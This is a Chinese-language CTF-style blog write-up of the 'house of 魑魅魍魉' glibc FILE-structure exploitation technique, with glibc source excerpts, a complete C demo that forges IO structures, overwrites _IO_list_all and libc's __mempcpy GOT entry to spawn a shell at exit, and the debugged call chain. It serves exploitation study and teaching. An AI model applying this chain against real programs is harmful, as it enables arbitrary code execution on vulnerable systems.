引言
又是大佬的文章,前面的秦月汉关和借刀杀人都看的七七八八,只是对魑魅魍魉不是很理解,所以又写了一个demo的程序,顺带来调试一下,若有侵权或思路有误欢迎联系
利用条件
- 可知
heap_base和lib_base - 能打一次
largebin_attack想办法让其走我们伪造的IO - 程序执行IO的有关操作,包括但不限于:从
main函数返回、调用exit函数、通过__malloc_assert触发
有关libc版本的问题
此攻击方式可以在2.34-2.36使用,甚至是2.37之后都可以使用
libc中的plt表与got表
众所周知,elf文件里面存在plt表和got表,而恰恰正好的是,libc中也存在的plt表与got表
和elf的plt表和got表一样,libc中的plt和got表是在某一个函数中call了一个got表中的一个函数(表达可能不是很清楚,反正基本上原理和elf的plt和got一样)
libc中的plt表
如图,版本为2.34_3.2
libc中的got表
如图,版本为2.34_3.2
可以清楚的看到got表里面存放的是函数的地址
例子
如下例子就是在魑魅魍魉中调用的_IO_default_xsputn函数调用got表中函数的例子
跳转到plt
找到got,进而找到调用的函数
且got表可写
小结
libc里面的got表和free_hook差不多,感觉都是可以修改掉里面的值来进行利用,函数调用libc里面的plt函数的例子有很多,那么如何才能找到我们的链路让他去执行呢?
house of 借刀杀人
在IO中,由于要处理宽字符的原因,有很多
memcpy、memmove等内存函数覆写函数,但想利用好它们却非常困难。以_IO_default_xsputn为例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
size_t _IO_default_xsputn (FILE *f, const void *data, size_t n)
{
const char *s = (char *) data;
size_t more = n;
if (more <= 0)
return 0;
for (;;)
{
/* Space available. */
if (f->_IO_write_ptr < f->_IO_write_end)
{
size_t count = f->_IO_write_end - f->_IO_write_ptr;
// count 在计算后还需要一个判断
if (count > more)
count = more;
if (count > 20)
{
//此处为可以覆写的位置。
// 困难1:执行后程序流无法控制。
// 困难2:s 和 n 均不可控
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
}
else if (count)
{
char *p = f->_IO_write_ptr;
ssize_t i;
for (i = count; --i >= 0; )
*p++ = *s++;
f->_IO_write_ptr = p;
}
more -= count;
}
if (more == 0 || _IO_OVERFLOW (f, (unsigned char) *s++) == EOF)
break;
more--;
}
return n - more;
}
我看大佬文章认为他的思路
按照我看文章的意思,大佬想要利用这个__mempcpy函数来修改掉__mempcpy的got表,在上面的lib.plt和lib.got的例子都知道了,这个函数就会去调用plt里面的__mempcpy函数,第一次mempcpy进行got表的修改,第二次__mempcpy的时候调用函数
那么难点就来了,我们该如何控制函数的参数呢?,一般只可以控制到FILE *f
house_of_魑魅魍魉
前言
前面提到了我们可以运用_IO_default_xsputn函数里的来进行修改got表,然后再调用一次_IO_default_xsputn函数来调用他里面的__mempcpy的got表里面的函数,也就是我们改掉的函数,但是难点就在于如何控制参数
有关结构体
_IO_helper_jumps虚表
在libc中他存在两个 _IO_helper__jumps,虽然名字一样,但是所指向的函数不一样
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#ifdef COMPILE_WPRINTF
static const struct _IO_jump_t _IO_helper_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT (finish, _IO_wdefault_finish),
JUMP_INIT (overflow, _IO_helper_overflow),
JUMP_INIT (underflow, _IO_default_underflow),
JUMP_INIT (uflow, _IO_default_uflow),
JUMP_INIT (pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT (xsputn, _IO_wdefault_xsputn),
JUMP_INIT (xsgetn, _IO_wdefault_xsgetn),
JUMP_INIT (seekoff, _IO_default_seekoff),
JUMP_INIT (seekpos, _IO_default_seekpos),
JUMP_INIT (setbuf, _IO_default_setbuf),
JUMP_INIT (sync, _IO_default_sync),
JUMP_INIT (doallocate, _IO_wdefault_doallocate),
JUMP_INIT (read, _IO_default_read),
JUMP_INIT (write, _IO_default_write),
JUMP_INIT (seek, _IO_default_seek),
JUMP_INIT (close, _IO_default_close),
JUMP_INIT (stat, _IO_default_stat)
};
#else
static const struct _IO_jump_t _IO_helper_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT (finish, _IO_default_finish),
JUMP_INIT (overflow, _IO_helper_overflow),
JUMP_INIT (underflow, _IO_default_underflow),
JUMP_INIT (uflow, _IO_default_uflow),
JUMP_INIT (pbackfail, _IO_default_pbackfail),
JUMP_INIT (xsputn, _IO_default_xsputn),
JUMP_INIT (xsgetn, _IO_default_xsgetn),
JUMP_INIT (seekoff, _IO_default_seekoff),
JUMP_INIT (seekpos, _IO_default_seekpos),
JUMP_INIT (setbuf, _IO_default_setbuf),
JUMP_INIT (sync, _IO_default_sync),
JUMP_INIT (doallocate, _IO_default_doallocate),
JUMP_INIT (read, _IO_default_read),
JUMP_INIT (write, _IO_default_write),
JUMP_INIT (seek, _IO_default_seek),
JUMP_INIT (close, _IO_default_close),
JUMP_INIT (stat, _IO_default_stat)
};
#endif
在内存中的放置情况
2.34_3.2的libc
相关函数
helper_file结构体
1
2
3
4
5
6
7
8
9
10
11
struct helper_file
{
struct _IO_FILE_plus _f;
#ifdef COMPILE_WPRINTF
struct _IO_wide_data _wide_data;
#endif
FILE *_put_stream;
#ifdef _IO_MTSAFE_IO
_IO_lock_t lock;
#endif
};
其中我写的demo要利用到_put_stream好多次,指针指的有点绕
有关函数
_IO_helper_overflow函数
其存在两种
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static int _IO_helper_overflow (FILE *s, int c)
{
FILE *target = ((struct helper_file*) s)->_put_stream;
#ifdef COMPILE_WPRINTF
int used = s->_wide_data->_IO_write_ptr - s->_wide_data->_IO_write_base;
if (used)
{
// 利用这个链,显然这三个参数我们都可控。
size_t written = _IO_sputn (target, s->_wide_data->_IO_write_base, used);
if (written == 0 || written == WEOF)
return WEOF;
__wmemmove (s->_wide_data->_IO_write_base,
s->_wide_data->_IO_write_base + written,
used - written);
s->_wide_data->_IO_write_ptr -= written;
}
#else
// 如果使用这条链,_IO_write_ptr 将处于 largebin 的 bk_size 指针处
int used = s->_IO_write_ptr - s->_IO_write_base;
if (used)
{
size_t written = _IO_sputn (target, s->_IO_write_base, used);
if (written == 0 || written == EOF)
return EOF;
memmove (s->_IO_write_base, s->_IO_write_base + written,
used - written);
s->_IO_write_ptr -= written;
}
#endif
return PUTC (c, s);
}
我写的2.34_3.2的demo里面两个都用到了,为了到时候区分方便,我把上面一个称为_IO_helper_overflow_1把下面一个称为_IO_helper_overflow_2
这里还要说明一点size_t written = _IO_sputn (target, s->_wide_data->_IO_write_base, used),其调用的是target这个IO_FILE的vtable表里函数,并不是FILE *s的vtable里的函数
在执行
size_t written = _IO_sputn (target, s->_wide_data->_IO_write_base, used);时
FILE *target = ((struct helper_file*) s)->_put_stream;可控s->_wide_data->_IO_write_base可控int used = s->_wide_data->_IO_write_ptr - s->_wide_data->_IO_write_base;可控
_IO_default_xsputn函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
size_t
_IO_default_xsputn (FILE *f, const void *data, size_t n)
{
const char *s = (char *) data;
size_t more = n;
if (more <= 0)
return 0;
for (;;)
{
/* Space available. */
if (f->_IO_write_ptr < f->_IO_write_end)
{
size_t count = f->_IO_write_end - f->_IO_write_ptr;
// 要 more > count,能再次返回执行 __mempcpy
if (count > more)
count = more;
// 要 count > 20
if (count > 20)
{
// 利用此处实现 house of 借刀杀人,
// 修改 memcpy 的内容为我们想要执行的函数
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
}
else if (count)
{
char *p = f->_IO_write_ptr;
ssize_t i;
for (i = count; --i >= 0; )
*p++ = *s++;
f->_IO_write_ptr = p;
}
// 要 more > count,能再次返回执行 __mempcpy
more -= count;
}
if (more == 0 || _IO_OVERFLOW (f, (unsigned char) *s++) == EOF)
break;
more--;
}
return n - more;
}
libc_hidden_def (_IO_default_xsputn)
小结
我这里好像就用到了这三个函数_IO_default_xsputn,_IO_helper_overflow_1,_IO_helper_overflow_2,但是没有利用到house_of_pig那条链路,所以我在想是不是我理解错了,还是说版本不对,希望有大佬看到的可以发邮箱回复本菜鸡QAQ
Demo调试
源码
libc版本2.34_3.2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include <stdlib.h>
int main(){
size_t *source = malloc(0x20);
size_t *p1 = malloc(0x420);
size_t *p = malloc(0x420);
size_t *p4 = malloc(0x420);
size_t *fake_io;
fake_io=p1-2;
size_t put_addr = &puts;
size_t lib_base = put_addr - 0x80ef0;
size_t IO_list_all = lib_base + (0x7ffff7fb4660 - 0x7ffff7d9a000);
size_t _IO_helper_jumps_addr = lib_base + (0x7ffff7fafac0 - 0x7ffff7d9a000);
size_t sys = lib_base + (0x7ffff7deaae0 - 0x7ffff7d9a000);
size_t bin_sh = lib_base + (0x7ffff7f71cba - 0x7ffff7d9a000);
size_t target = lib_base + (0x7ffff7fb3040 - 0x7ffff7d9a000);
*source=sys;
*(p4+0xd8/8)=_IO_helper_jumps_addr-0xc0; //make FAKE_IO1->_put_stream->_put_stream call _IO_default_xsputn
*(p4+0x30/8)=bin_sh+21; //FAKE_IO1->_put_stream->_put_stream->_IO_write_end
*(p4+0x28/8)=bin_sh; //FAKE_IO1->_put_stream->_put_stream->_IO_write_ptr
//make fake_IO
*(p+0xd8/8)=_IO_helper_jumps_addr-0xc0; //make FAKE_IO1->_put_stream call _IO_default_xsputn
*(p+0x30/8)=target+21; //FAKE_IO1->_put_stream->_IO_write_end
*(p+0x28/8)=target; //FAKE_IO1->_put_stream->_IO_write_ptr
*(p+0xe0/8)=p4; //FAKE_IO1->_put_stream->_put_stream
//First FAKE_IO1
*(fake_io+0x28/8)=0x1;
*(fake_io+0xd8/8)=_IO_helper_jumps_addr;
*(fake_io+0x1c8/8)=p; //FAKE_IO1->_put_stream
//make wide_data
size_t *p3 = malloc(0x420);
*(fake_io+0xa0/8)=p3; //FAKE_IO1->_wide_data
*(p3+0x20/8)=source+0x60; //FAKE_IO1->_wide_data->_IO_write_ptr
*(p3+0x18/8)=source; //FAKE_IO1->_wide_data->_IO_write_base
size_t *p2 = (size_t *)IO_list_all;
*p2 = fake_io;
exit(0);
}
啊啊啊我知道申请了一堆堆块很麻烦,但是其实你可以把内容都写到一个堆块里,只要堆块够大,稍后我也会理清楚一下链路,注释也写得比较清楚了,大家可以看看
开调
libc2.34_3.2
首先是exit进入_IO_helper_overflow_1
helper_file结构体
他进入_IO_helper_overflow_1函数,会从*(f+0x1c8)找到_put_stream
_IO_helper_overflow_1函数内部
找wide_data->_IO_write_ptr和wide_data->_IO_write_base
找f->_put_stream
看一下_put_stream
第一次进入进入_IO_default_xsputn函数
绕过之后直接进__mempcpy函数
改掉啦
_IO_helper_overflow_2函数内部
从_IO_default_xsputn的_IO_OVERFLOW调用_IO_helper_overflow_2
此时的结构体
此时的_put_stream的IO结构体调用_IO_default_xsputn
第二次进入_IO_default_xsputn函数
此时的结构体
调用__mempcpy来getshell
相关调用链
1
2
3
4
_IO_helper_overflow_1 //FAKE_IO的vtable表
_IO_default_xsputn //FAKE_IO->_putstream的vtable表
_IO_helper_overflow_2 //FAKE_io->_put_stream的vtable表
_IO_default_xsputn //FAKE_io->_put_stream->_putstream的vtable表
相关结构体关系
总结
以后直接看着结构体关系图来构造就行,要记得区分vtable表,别搞混了,不得不说大佬真实牛逼,tql,当然不知道本人理解的正不正确,如果有侵权或者是思路有问题的欢迎各位大佬来联系orz
























